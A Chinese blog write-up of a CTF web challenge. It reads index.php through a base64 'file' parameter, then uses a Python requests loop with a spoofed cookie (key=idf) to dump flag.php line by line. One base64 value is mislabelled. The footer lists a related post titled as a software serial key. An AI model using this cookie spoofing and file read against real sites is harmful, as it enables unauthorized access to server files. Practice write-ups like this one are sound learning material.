首页 技术 正文
技术 2022年11月16日
0 收藏 880 点赞 3,905 浏览 1769 个字

原题链接:http://ctf.idf.cn/game/web/40/index.php

  1. 进入题目,发现一个长字符串,放到md5、base64均无意义。
  2. 观察地址栏,发现有两个参数,line和file

(1)将file=后的参数放到base64解码(url参数传递一般用base64编码),可知该串原意为:flag.txt

(2)既然知道后面是接文件名,假设flag.txt在当前目录,那么猜想有其他的文件也在通过用base64加密的方式输入到url中访问,对index.html和index.php分别进行测试,line从0向上遍历

3.尝试后可知,当file=aW5kZXgucGhw(index.php的base64编码)时,line的取值可获取index.php源代码的第line行

4.遍历整个文件可得:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");
$file_list = array(
'0' =>'flag.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
$file_list[2]='flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

(1)分析代码,做出以下注释

error_reporting(0);
//不打印页面访问错误报告$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
//解码地址栏中file=后的内容$line=isset($_GET['line'])?intval($_GET['line']):0;
//获取地址栏中line=后的内容if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");
//若地址为空,则跳转到原界面(flag.txt) 无论line的值$file_list = array('0' =>'flag.txt','1' =>'index.php',);
//创建file_list数组if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
$file_list[2]='flag.php';
}
//若id为key的cookie有定义,并且值为idf 则在file_list第三个位置插入flag.phpif(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
//若file_list数组内存在file文件名,则打印该文件的第line行代码
?>

(2)阅读代码可知,cookie的名为key,值为idf, 将file参数置为ZmxhZy50eHQ(flag.php的base64码)可以通过cookie欺骗的方式访问flag.php文件

5.下面用python进行cookie欺骗及遍历源代码

import requests  #该库需要安装 安装过程自行百度
import syscookies = {'key': 'idf'} #设置cookies的key值为idf 即cookies欺骗for i in range(0,20): #循环打开网页并抓取网页文本信息
url="http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA="
wp = requests.get(url, cookies=cookies)
print(wp.text)print("get flag success")

6.最终得到flag.txt 内容为:

flag即为wctf{idf_c00kie}

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,082
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,556
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,405
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,179
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,815
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,898